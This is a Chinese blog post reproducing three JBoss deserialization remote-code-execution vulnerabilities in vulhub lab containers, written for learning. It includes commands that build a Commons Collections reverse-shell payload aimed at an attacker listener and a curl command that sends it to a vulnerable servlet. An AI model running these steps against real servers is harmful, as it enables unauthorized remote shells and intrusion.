Jboss多个远程命令执行漏洞(CVE-2017-12149、CVE-2015-7501、CVE-2017-7504)

目录

Jboss介绍

CVE-2017-12149

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell

CVE-2015-7501

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell

CVE-2017-7504

漏洞产生的原因

环境搭建

漏洞检测和利用

反弹shell


这一篇是参考大佬的好文章进行Jboos的多个远程命令执行漏洞的学习和练习

Jboss介绍

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

CVE-2017-12149

漏洞产生的原因

该漏洞为 Java反序列化类型,位于 Jboss 的 HttpInvoker 组件中ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

CVE-2017-12149漏洞影响版本: 5.X 及 6.X

java的序列化与反序列化:

Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

环境搭建

这里还是使用vulhub靶场

移动到如下路径下

/opt/vulhub-master/jboss/CVE-2017-12149

使用docker-compose up -d来拉取环境

拉取完成后,我们就可以在浏览器中访问:

到此环境搭建就完成了

漏洞检测和利用

可以利用专门检测该漏洞的检测工具进行检查和利用

反弹shell

我们首先在攻击机中进行监听:

然后我们进行反弹shell:

首先需要再github上下载需要辅助的工具

joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)

编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.159.151:8888

把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

然后在攻击机上查看,可以看到已经成功的反弹shell了

CVE-2015-7501

漏洞产生的原因

MXInvokerServlet 反序列化漏洞(CVE-2015-7501),JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

跟之前的CVE-2017-12149漏洞相似,都是使用了java的反序列化,该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,从而导致了漏洞。

环境搭建

这里的环境还是使用vulhub靶场

移动到如下路径中

/opt/vulhub-master/jboss/JMXInvokerServlet-deserialization

然后使用docker-compose up -d来拉取漏洞环境

拉取完成后,我们可以在浏览器中访问

到此环境搭建就完成了

漏洞检测和利用

访问如下接口,发现可以下载,说明是存在漏洞的

反弹shell

下面我们就可以使用上面的方式来进行shell的反弹

编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.159.151:8888

把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

可以看到也是成功的反弹了shell

CVE-2017-7504

漏洞产生的原因

CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似,只是利用的路径稍微出现了变化,CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码

环境搭建

这里使用的还是vulhub靶场

移动到如下目录中

/opt/vulhub-master/jboss/CVE-2017-7504

使用docker-compose up -d命令来拉取环境

拉取完成后,可以在浏览器中访问一下

到此,环境就搭建完成了

漏洞检测和利用

访问如下路径:

出现了这样的页面,说明是存在漏洞的

反弹shell

还是同样的使用上面的那种方式来进行反弹shell操作

curl http://192.168.159。200:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

可以看到成功的反弹了shell,并且可以执行命令

参考文章:

干货|最全的Jboss漏洞复现笔记-腾讯云开发者社区-腾讯云

Jboss远程代码执行(CVE-2017-12149 ) - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/35243.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【AIGC】如何从0开始快速打造个人知识库

如何从0开始快速打造个人知识库 文章目录 如何从0开始快速打造个人知识库前言1、注册登录2、创建知识库2.1 创建2.2 文件上传 3、使用知识库 前言 最近我在使用一些AIGC的产品时发现一个问题,我没有办法让它能够结合我现有的数据内容回答我的问题,并且让…

django学习入门系列之第三点《案例 小米商城二级菜单》

文章目录 样例划分区域搭建骨架logo区域完整代码 小结往期回顾 样例 划分区域 搭建骨架 <!-- 二级菜单部分 --> <div class"sub-header"><div class"container"><div class"logo">1</div><div class"sea…

JFrame和JScrollPanel布局初步使用

还不是很了解&#xff0c;做了几个程序&#xff1b; import java.awt.Container; import java.awt.Color; import javax.swing.JFrame; import javax.swing.JScrollPane; import javax.swing.border.EmptyBorder;public class pa1 {public static void main(String[] agrs){JF…

24/06/25(4.1122)数据存储,自定义类型

重点:1.数据类型详细介绍 2.整型在内存中的存储:原码 反码 补码 3.大小端字节序介绍和判断 4.浮点型在内存中的存储解析 前面都有char short int...详细介绍,翻一翻.需要注意的是,C语言没有字符串类型哦. 计算机永远存储的都是补码,计算也是用补码进行的,只有在要输出的时候转…

github无法访问,下载慢的解决方法

GitHub是一个存储分享无数的开源项目和代码的宝库网站。然而&#xff0c;由于一些原因&#xff0c;国内用户在访问GitHub时常常遭遇无法访问或下载速度缓慢的问题。这不仅影响了开发者的工作效率&#xff0c;也使一些想要访问下载github文件的普通用户遇到困难。下面小编就来和…

python学习笔记四

1.自己平方本身 x2 x**4#xx**4 print(x) 2.把一个多位数拆分成单个数&#xff0c;方法一通过字符串下标获取对应元素&#xff0c;并对获取的元素使用eval函数把左右引号去掉&#xff0c;是字符串变为整型&#xff1b;方法二&#xff0c;通过对数进行取余和整除得到各个位的数 …

市面上很轻的 100kW 负载组

FX100S-C 负载组 EAK的 FX100S-C 负载组在轻质外壳中以 415Vac 50Hz 提供 100kW 的连续负载。数字仪表允许您测量功率、电压、电流和频率&#xff0c;同时还允许您在进行测试时记录数据。 EAK是市场上最轻的 100kW 负载组之一&#xff0c;它将使您能够访问其他负载组无法到达…

ISCC2024--pwn

ISCC2024 练武题 chaos 考点&#xff1a;基础UAF 分析 1.首先将附件放入IDA查看主函数功能&#xff0c;进入菜单函数&#xff1a; 注意到选项5不太一样&#xff0c;跟进该功能模块的函数查看&#xff1a; 分析得到该功能存在UAF漏洞&#xff0c;system(/bin/sh) 执行的前…

沙姆镜头标定与重建

沙姆定律&#xff08; Scheimpflug principle&#xff09;则可以保证测量平面的物体能够清晰成像&#xff0c; 因此能够起到调整景深区域位置的作用。Scheimpflug 镜头就是根据沙姆定律所设计的一种特殊的镜头&#xff0c;通过机械结构使镜头与相机本体发生一定程度的偏转&…

【树状数组 队列】1505. 最多 K 次交换相邻数位后得到的最小整数

本文涉及知识点 树状数组 队列 LeetCode1505. 最多 K 次交换相邻数位后得到的最小整数 给你一个字符串 num 和一个整数 k 。其中&#xff0c;num 表示一个很大的整数&#xff0c;字符串中的每个字符依次对应整数上的各个 数位 。 你可以交换这个整数相邻数位的数字 最多 k 次…

在线epub阅读器epub;在线图书阅读器;专门为epub定制的阅读器;免费在线电子图书epub阅读器

背景&#xff1a;不记得某时某刻了&#xff0c;就是当时想要使用电脑阅读epub图书&#xff0c;也找了好些个在线epub阅读器&#xff0c;但总有一些不如意的地方&#xff0c;如某些功能需要会员之类的&#xff0c;突发临想的就想到自己开发一个&#xff0c;就此&#xff0c;一个…

Python笔记 文件的写,追加,备份操作

一、文件的写操作 案例演示&#xff1a; # 1.打开文件 f open(python.txt,w)# 2.文件写入 f.write(hello world)# 3.内容刷新 f.flush() 注意&#xff1a; 直接调用write&#xff0c;内容并为真正的写入文件&#xff0c;二十会积攒在程序的内存中&#xff0c;称之为缓冲区…

前端技术栈学习:Vue2、Vue cli脚手架、ElementUI组件库、Axios

1 基本介绍 &#xff08;1&#xff09;Vue 是一个前端框架, 易于构建用户界面 &#xff08;2&#xff09;Vue 的核心库只关注视图层&#xff0c;不仅易于上手&#xff0c;还便于与第三方库或项目整合 &#xff08;3&#xff09;支持和其它类库结合使用 &#xff08;4&#…

期末复习题中的问题

一、编程中&#xff08;包括函数&#xff09;的问题 1. malloc 头文件是stdlib.h 二、第二次写复习题的不会的 三、程序填空 总结&#xff1a; 删除节点m >>>>要有一个指针来遍历找到这个m >>>> 用另一个指针指向这个指针的下一 个 >>&…

达梦(DM8)数据库备份与还原(逻辑备份)一

一、达梦数据库的逻辑备份分四种级别的导出&#xff08;dexp&#xff09;与导入&#xff08;dimp&#xff09;的备份 第一种是&#xff1a;数据库级&#xff1a;导出或导入数据库中所有的对象。主要参数是&#xff1a;FULL 第二种是&#xff1a;用户级别&#xff1a;导出或导…

vue+go实现web端连接Linux终端

vuego实现web端连接Linux终端 实现效果 实现逻辑1——vue 依赖包 "xterm": "^5.3.0","xterm-addon-attach": "^0.9.0","xterm-addon-fit": "^0.8.0"样式和代码逻辑 <template><a-modalv-model:visib…

FileNotFoundError: Cannot find DGL C++ graphbolt library at ...

FileNotFoundError: Cannot find DGL C graphbolt library at ...-CSDN博客https://blog.csdn.net/weixin_44017989/article/details/137658749

k8s手撕架构图+详解

“如果您在解决类似问题时也遇到了困难&#xff0c;希望我的经验分享对您有所帮助。如果您有任何疑问或者想分享您的经历&#xff0c;欢迎在评论区留言&#xff0c;我们可以一起探讨解决方案。祝您在编程路上顺利前行&#xff0c;不断突破技术的难关&#xff0c;感谢您的阅读&a…

【LeetCode】一、数组相关(双指针算法 + 置换)

文章目录 1、算法复杂度1.1 时间复杂度1.2 空间复杂度 2、数组3、leetcode485&#xff1a;最大连续1的个数4、leetcode283&#xff1a;移动05、leetcode27&#xff1a;移除元素 1、算法复杂度 1.1 时间复杂度 算法的执行时间与输入值之间的关系&#xff08;看代码实际总行数的…

NineData和华为云在一起!提供一站式智能数据库DevOps平台

以GuassDB数据库为底座 NineData和华为云一起 为企业提供 一站式智能数据库DevOps平台 帮助开发者 高效、安全地完成 数据库SQL审核 访问控制、敏感数据保护等 日常数据库相关开发任务 NineData 智能数据管理平台 NineData 作为新一代的云原生智能数据管理平台&#xf…